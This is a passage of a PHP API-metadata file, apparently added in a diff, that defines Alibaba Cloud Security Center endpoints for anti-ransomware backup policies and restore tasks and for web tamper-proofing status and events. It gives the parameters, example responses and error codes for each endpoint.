1583289054000,\\n \\"RestoreId\\": \\"r-000gmcypy5dyf9ey3uv7\\",\\n \\"GmtCreate\\": \\"2021-04-25T19:11Z\\",\\n \\"Eta\\": 1583299054,\\n \\"Duration\\": 100,\\n \\"ErrorCount\\": 0,\\n \\"ItemsTotal\\": 0,\\n \\"BytesDone\\": 20,\\n \\"VaultRegionId\\": \\"cn-hangzhou\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 0ED92280-4363-57D3-A4D3-4D3FBC99B29F\\n \\n 1\\n 10\\n 69\\n 2\\n \\n \\n COMPLETE\\n a3992de83f529b844135fe795d949181735a7d20e0ac8539485c61b7983e618f\\n c-000gmcypy5dyf9ey3uv7\\n [\\"/home/user\\"]\\n [\\"/root/disk-uuid-test\\",\\"/root/install.sh\\"]\\n Restore\\n 1.1.XX.XX\\n v-000b0v0jqzmse2yz06zw\\n 20\\n successful\\n 100\\n 2021-04-25T19:11Z\\n ECS_FILE\\n 0\\n c-000frxwusjauhp9ajpu6\\n 0\\n 20\\n 0ED92280-4363-57D3-A4D3-4D3FBC99B29F\\n win2012-01\\n 1583289054000\\n NONE\\n 2020-03-03 18:00\\n /home\\n 1583289052000\\n i-bp12xnvdax6307gw****\\n [\\"/home/admin\\",\\"\\\\\\\\\\\\\\\\servername\\\\\\\\sharename\\"]\\n 2.1.XX.XX\\n s-000f4wxm8f7gur6g2otm.csv\\n 6E3DABB6-3F6A-40DB-9492-2C8B59C****\\n [\\"/home/user\\"]\\n 25766558\\n s-000gmcypy5dy54e39yny\\n 1583289054000\\n r-000gmcypy5dyf9ey3uv7\\n 2021-04-25T19:11Z\\n 1583299054\\n 100\\n 0\\n 0\\n 20\\n \\n","errorExample":""}]', + 'title' => '查询防勒索恢复任务的详情', + 'description' => '如果您的服务器数据已被勒索病毒入侵，云安全中心通过执行恢复任务，使用备份数据来恢复当前服务器的数据。'."\n" + ."\n" + .'> 您启用防勒索防护策略时，防勒索功能会备份您的服务器数据。关于防勒索防护策略的介绍，请参见[管理防护策略](~~164781~~)。', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeBackupRestoreCount' => [ + 'summary' => '查询防勒索恢复任务的数据。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'ECC6B3E3-D496-512D-B46D-E6996A6B63EE', + ], + 'BackupRestoreCount' => [ + 'description' => '防勒索恢复任务的统计数据。', + 'type' => 'object', + 'properties' => [ + 'Total' => [ + 'description' => '已创建的恢复任务的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '30', + ], + 'Recovering' => [ + 'description' => '状态为**恢复中**的任务的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"ECC6B3E3-D496-512D-B46D-E6996A6B63EE\\",\\n \\"BackupRestoreCount\\": {\\n \\"Total\\": 30,\\n \\"Recovering\\": 3\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n ECC6B3E3-D496-512D-B46D-E6996A6B63EE\\n \\n 30\\n 3\\n \\n","errorExample":""}]', + 'title' => '查询防勒索恢复任务', + 'description' => '如果您已创建防勒索恢复任务，您可以调用本接口查询**已恢复**和**恢复中**的防勒索恢复任务的条数。', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'ModifyBackupPolicyStatus' => [ + 'summary' => '开启或关闭勒索防护策略。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas7JO011', + ], + ], + 'parameters' => [ + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '要开启或关闭的防护策略的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '30490', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '设置要启用或停用防护策略。取值：'."\n" + ."\n" + .'- **enabled**：启用防护策略。启用策略后，防勒索才能保护您的服务器数据，即根据您的防护策略，备份指定服务器上的数据。'."\n" + .'- **disabled**：停用防护策略。停用策略后，正在运行的备份任务将停止。'."\n" + ."\n" + .'> 执行备份任务会占用您的网络带宽，建议您在业务低峰期启用策略，执行数据备份任务。'."\n", + 'type' => 'string', + 'required' => true, + 'example' => 'enabled', + ], + ], + [ + 'name' => 'PolicyVersion', + 'in' => 'query', + 'schema' => [ + 'description' => '要开启或关闭的策略版本。固定取值：**2.0.0**，表示要开启或关闭的策略的版本为2.0.0版本。', + 'type' => 'string', + 'deprecated' => true, + 'required' => false, + 'example' => '2.0.0', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '修改防勒索防护策略返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'E342452B-4401-5F74-9A1B-D24479851173', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'AntiRansomwareCapacityUseUp', + 'errorMessage' => 'anti ransomware capacity use up', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"E342452B-4401-5F74-9A1B-D24479851173\\"\\n}","errorExample":""},{"type":"xml","example":"\\n E342452B-4401-5F74-9A1B-D24479851173\\n","errorExample":""}]', + 'title' => '开启或关闭防护策略', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'ModifyBackupPolicy' => [ + 'summary' => '修改防勒索防护策略。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas7JO011', + ], + ], + 'parameters' => [ + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '要修改的防勒索防护策略的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '11', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '要修改的防勒索防护策略的名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'policy_name_A', + ], + ], + [ + 'name' => 'Policy', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '要修改的防护策略的内容。格式为JSON格式的字符串，包含以下字段：'."\n" + ."\n" + .'- **Source**：需要防护的服务器目录。需要防护全部目录时，该字段设置为：\\[]。'."\n" + .'- **Include**：需要防护的文件类型。例："\\*.jpg"、"\\*.doc"。'."\n" + .'- **Exclude**：自定义需要排除的目录。"/home/user"排除目录，调用DescribeExcludeSystemPath接口获取所有目录，然后添加需要排除的目录。例如：排除目录"/home/user"。'."\n" + .'- **Schedule**：数据备份任务的执行开始时间和执行间隔时间。建议指定在业务低峰期非整点。'."\n" + ."\n" + .' - 例1：I|1583216092|P21D表示执行开始时间为2020-03-03 14:14:52，执行间隔时间为3周。'."\n" + ."\n" + .' - 例2：I|1583216092|PT24H表示执行开始时间为2020-03-03 14:14:52，执行间隔时间为24小时。'."\n" + ."\n" + .'- **Retention**：备份数据保留时间，单位：天。7表示1周，365表示1年，-1表示永久。'."\n" + .'- **SpeedLimiter**：备份网络带宽限制。例如：12:15:15360|6:12:5120表示12\\~15点15 MB，6\\~12点5 MB。'."\n" + .'云上主机连接内网，建议不要对备份网络带宽进行限制，不限制网络带宽该参数值设置为空字符串（""） 。', + 'type' => 'object', + 'required' => true, + 'example' => '{"Source":["home","admin"]}', + ], + ], + [ + 'name' => 'PolicyVersion', + 'in' => 'query', + 'schema' => [ + 'description' => '防护策略的版本。可调用[DescribeBackupPolicies](~~DescribeBackupPolicies~~)接口查询。'."\n" + ."\n" + .'- **1.0.0**'."\n" + .'- **2.0.0**', + 'type' => 'string', + 'required' => false, + 'example' => '2.0.0', + ], + ], + [ + 'name' => 'PolicyRegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '要修改防护策略的服务器所在的地域。'."\n" + ."\n" + .'您可通过调用[DescribeSupportRegion](~~DescribeSupportRegion~~)，查询防勒索功能支持的地域。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'UuidList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '防护策略防护的服务器的UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '防护策略防护的服务器的UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '3bb30859-b3b5-4f28-868f-b0892c98****', + ], + 'required' => true, + 'example' => '["3bb30859-b3b5-4f28-868f-b0892c98****", "3bb30859-b3b5-4f28-868f-b0892c98****"]', + 'maxItems' => 1000, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D0D6E6E4-CB8C-4897-B852-46AEFDA04B21', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'AgentNotOnline', + 'errorMessage' => 'The agent not online.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"D0D6E6E4-CB8C-4897-B852-46AEFDA04B21\\"\\n}","errorExample":""},{"type":"xml","example":"\\r\\nD0D6E6E4-CB8C-4897-B852-46AEFDA04B21\\r\\n","errorExample":""}]', + 'title' => '修改防勒索策略', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DeleteBackupPolicyMachine' => [ + 'summary' => '接口调用成功后，会删除机器上的备份策略和客户端，如果删除机器对应的备份库中仅包含需要删除的机器备份数据，还会删除机器对应的备份库。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'delete', + 'abilityTreeCode' => '91948', + 'abilityTreeNodes' => [ + 'FEATUREsas7JO011', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '防勒索备份策略防护的服务器的UUID。'."\n" + ."\n" + .'> `UuidList`和`UUID`不能同时为空。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => '083036e9-8411-4a9d-83af-9acbd****', + ], + ], + [ + 'name' => 'PolicyId', + 'in' => 'query', + 'schema' => [ + 'description' => '防勒索备份策略的ID。'."\n" + .'>调用[DescribeBackupPolicies](~~DescribeBackupPolicies~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '11', + ], + ], + [ + 'name' => 'PolicyVersion', + 'in' => 'query', + 'schema' => [ + 'description' => '策略的版本。取值：'."\n" + .'- **1.0.0**'."\n" + .'- **2.0.0**'."\n" + .'>调用[DescribeBackupPolicies](~~DescribeBackupPolicies~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '2.0.0', + ], + ], + [ + 'name' => 'UuidList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '防勒索备份策略防护的服务器的UUID列表。'."\n" + ."\n" + .'> `UuidList`和`UUID`不能同时为空。', + 'type' => 'array', + 'items' => [ + 'description' => '防勒索备份策略防护的服务器的UUID。'."\n" + ."\n" + .'> `UuidList`和`UUID`不能同时为空。', + 'type' => 'string', + 'required' => false, + 'example' => '083036e9-8411-4a9d-83af-9acbd****', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D0D6E6E4-CB8C-4897-B852-46AEFDA04B21', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D0D6E6E4-CB8C-4897-B852-46AEFDA04B21\\"\\n}","type":"json"}]', + 'title' => '删除指定策略下的服务器', + ], + 'DeleteBackupPolicy' => [ + 'summary' => '删除勒索病毒防护策略。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'delete', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas7JO011', + ], + ], + 'parameters' => [ + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '要删除的防护策略的ID。'."\n" + .'>调用[DescribeBackupPolicies](~~DescribeBackupPolicies~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '12', + ], + ], + [ + 'name' => 'PolicyVersion', + 'in' => 'query', + 'schema' => [ + 'description' => '要删除的防护策略的版本。您可调用[DescribeBackupPolicies](~~DescribeBackupPolicies~~)接口查询。取值：'."\n" + ."\n" + .'- **1.0.0**：表示防护策略的版本为1.0.0'."\n" + .'- **2.0.0**：表示防护策略的版本为2.0.0', + 'type' => 'string', + 'required' => false, + 'example' => '2.0.0', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 24A20733-10A0-4AF6-BE6B-E3322413BB68\\n","errorExample":""}]', + 'title' => '删除勒索病毒防护策略', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'UninstallBackupClient' => [ + 'summary' => '卸载防勒索客户端。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'none', + ], + 'parameters' => [ + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '要卸载防勒索客户端的服务器的UUID。'."\n" + ."\n" + .'> UuidList.N和UUID不能同时为空。', + 'type' => 'string', + 'required' => false, + 'example' => 'D0D6E6E4-CB8C-4897-B852-46AEFDA0****', + ], + ], + [ + 'name' => 'PolicyVersion', + 'in' => 'query', + 'schema' => [ + 'description' => '防护策略的版本。可调用[DescribeBackupPolicies](~~DescribeBackupPolicies~~)接口查询。取值：'."\n" + ."\n" + .'- **1.0.0**：表示防护策略的版本为1.0.0'."\n" + .'- **2.0.0**：表示防护策略的版本为2.0.0', + 'type' => 'string', + 'required' => true, + 'example' => '2.0.0', + ], + ], + [ + 'name' => 'UuidList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '要卸载防勒索客户端的服务器UUID列表。'."\n" + ."\n" + .'> UuidList和UUID不能同时为空。', + 'type' => 'array', + 'items' => [ + 'description' => '要卸载防勒索客户端的服务器UUID列表。'."\n" + ."\n" + .'> UuidList和UUID不能同时为空。', + 'type' => 'string', + 'required' => false, + 'example' => 'D0D6E6E4-CB8C-4897-B852-46AEFDA0****', + ], + 'required' => false, + 'example' => '["D0D6E6E4-CB8C-4897-B852-46AEFDA0****", "3bb30859-b3b5-4f28-868f-b0892c98****"]', + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '8eec3b63-18af-454b-8c17-aabcf7190b70', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'HbrClientNotInstalled', + 'errorMessage' => 'client is not Installed. refresh you page', + ], + [ + 'errorCode' => 'HbrClientUninstalling', + 'errorMessage' => 'During client uninstallation, you can refresh the page to view the uninstallation result.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"8eec3b63-18af-454b-8c17-aabcf7190b70\\"\\n}","errorExample":""},{"type":"xml","example":"\\n \\"8eec3b63-18af-454b-8c17-aabcf7190b70\\",\\"fb711b59-d49c-4da7-a36f-9a56fb705fbe\\"\\n","errorExample":""}]', + 'title' => '卸载防勒索客户端', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeWebLockStatus' => [ + 'summary' => '查询防篡改防护状态。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '221.214.XXX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '请求来源标识，固定为sas。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'WhiteCount' => [ + 'description' => '进程白名单数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '6', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF46038', + ], + 'ExpireTime' => [ + 'description' => '防篡改授权到期时间戳，单位毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1688090851000', + ], + 'DirCount' => [ + 'description' => '防护目录数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'AuthCount' => [ + 'description' => '购买的防篡改授权总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '32', + ], + 'BindCount' => [ + 'description' => '已绑定的防篡改授权数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'BlockCount' => [ + 'description' => '阻断进程数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '48', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'InternalError', + 'errorMessage' => 'The request processing has failed due to some unknown error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"WhiteCount\\": 6,\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF46038\\",\\n \\"ExpireTime\\": 1688090851000,\\n \\"DirCount\\": 2,\\n \\"AuthCount\\": 32,\\n \\"BindCount\\": 2,\\n \\"BlockCount\\": 48\\n}","type":"json"}]', + 'title' => '查询防篡改防护状态', + ], + 'DescribeWebLockFileEvents' => [ + 'summary' => '查询防篡改事件。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas4GT4R7', + ], + ], + 'parameters' => [ + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '资产名称。'."\n" + .'> 调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口查询资产名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'test-ecs', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，每页显示的防篡改事件的数量。默认值为**10**，表示每页显示10条检查结果。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'ProcessName', + 'in' => 'query', + 'schema' => [ + 'description' => '进程名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'sys_create', + ], + ], + [ + 'name' => 'TsBegin', + 'in' => 'query', + 'schema' => [ + 'description' => '查询的开始时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1660649981419', + ], + ], + [ + 'name' => 'TsEnd', + 'in' => 'query', + 'schema' => [ + 'description' => '查询结束时间戳。'."\n" + ."\n", + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1660649981419', + ], + ], + [ + 'name' => 'Dealed', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的防篡改事件是否已处理。取值：'."\n" + .'- **n**：未处理'."\n" + .'- **y**：已处理', + 'type' => 'string', + 'required' => false, + 'example' => 'n', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '79CFF74D-E967-5407-8A78-EE03B925FDAA', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '网页防篡改事件的总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'List' => [ + 'description' => '网页防篡改事件列表。', + 'type' => 'array', + 'items' => [ + 'description' => '网页防篡改事件。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '状态。取值：'."\n" + ."\n" + .'- **1**：未处理 '."\n" + .'- **2**：已忽略'."\n" + .'- **4**：已下线'."\n" + .'- **8**：误报'."\n" + .'- **10**：已加入白名单'."\n" + .'- **16**：处理中'."\n" + .'- **32**：已防御'."\n" + .'- **64**：已失效'."\n" + .'- **128**：已删除'."\n" + .'- **512**：自动处理', + 'type' => 'string', + 'example' => '1', + ], + 'EventName' => [ + 'description' => '网页防篡改事件名称。', + 'type' => 'string', + 'example' => 'modify', + ], + 'Ds' => [ + 'description' => '首次发生时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1657178400000', + ], + 'InternetIp' => [ + 'description' => '受影响资产实例的公网IP地址。', + 'type' => 'string', + 'example' => '8.210.XX.XX', + ], + 'ProcessPath' => [ + 'description' => '进程路径。', + 'type' => 'string', + 'example' => 'C:\\Windows\\explorer.exe', + ], + 'Ip' => [ + 'description' => '资产的IP。', + 'type' => 'string', + 'example' => '8.210.XX.XX', + ], + 'GmtEvent' => [ + 'description' => '最新发生时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1657178400000', + ], + 'Count' => [ + 'description' => '尝试次数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '10', + ], + 'IntranetIp' => [ + 'description' => '当前资产的私网IP地址。'."\n", + 'type' => 'string', + 'example' => '172.25.XX.XX', + ], + 'ProcessName' => [ + 'description' => '进程名称。', + 'type' => 'string', + 'example' => 'python3.7', + ], + 'Uuid' => [ + 'description' => '资产实例的UUID。', + 'type' => 'string', + 'example' => '49e25e0f-bb51-4a5a-a1b3-13a4ddaa****', + ], + 'EventType' => [ + 'description' => '防护模式。取值：'."\n" + .'- **audit**：拦截模式。'."\n" + .'- **web_lock**：告警模式。', + 'type' => 'string', + 'example' => 'audit', + ], + 'InstanceName' => [ + 'description' => '资产实例名称。', + 'type' => 'string', + 'example' => 'sql-test-001', + ], + 'EventStatus' => [ + 'description' => '状态。取值：'."\n" + ."\n" + .'- **1**：未处理 '."\n" + .'- **2**：已忽略'."\n" + .'- **4**：已下线'."\n" + .'- **8**：误报'."\n" + .'- **10**：已加入白名单'."\n" + .'- **16**：处理中'."\n" + .'- **32**：已防御'."\n" + .'- **64**：已失效'."\n" + .'- **128**：已删除'."\n" + .'- **512**：自动处理', + 'type' => 'string', + 'example' => '1', + ], + 'Path' => [ + 'description' => '文件路径。', + 'type' => 'string', + 'example' => ' '."\n" + .'D:\\test-tamper-proofing\\123.html', + ], + 'Level' => [ + 'description' => '紧急程度。取值：'."\n" + .'**medium**：中危', + 'type' => 'string', + 'example' => 'medium', + ], + 'Id' => [ + 'description' => '事件编号。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '3555953980', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 2,\\n \\"RequestId\\": \\"79CFF74D-E967-5407-8A78-EE03B925FDAA\\",\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 100,\\n \\"List\\": [\\n {\\n \\"Status\\": \\"1\\",\\n \\"EventName\\": \\"modify\\",\\n \\"Ds\\": 1657178400000,\\n \\"InternetIp\\": \\"8.210.XX.XX\\",\\n \\"ProcessPath\\": \\"C:\\\\\\\\Windows\\\\\\\\explorer.exe\\",\\n \\"Ip\\": \\"8.210.XX.XX\\",\\n \\"GmtEvent\\": 1657178400000,\\n \\"Count\\": 10,\\n \\"IntranetIp\\": \\"172.25.XX.XX\\",\\n \\"ProcessName\\": \\"python3.7\\",\\n \\"Uuid\\": \\"49e25e0f-bb51-4a5a-a1b3-13a4ddaa****\\",\\n \\"EventType\\": \\"audit\\",\\n \\"InstanceName\\": \\"sql-test-001\\",\\n \\"EventStatus\\": \\"1\\",\\n \\"Path\\": \\"\\\\t\\\\nD:\\\\\\\\test-tamper-proofing\\\\\\\\123.html\\",\\n \\"Level\\": \\"medium\\",\\n \\"Id\\": 3555953980\\n }\\n ]\\n}","type":"json"}]', + 'title' => '分页查询防篡改事件', + ], + 'ModifyWebLockDeleteConfig' => [ + 'summary' => '删除指定服务器的防护目录。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92401', + 'abilityTreeNodes' => [ + 'FEATUREsas4GT4R7', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' 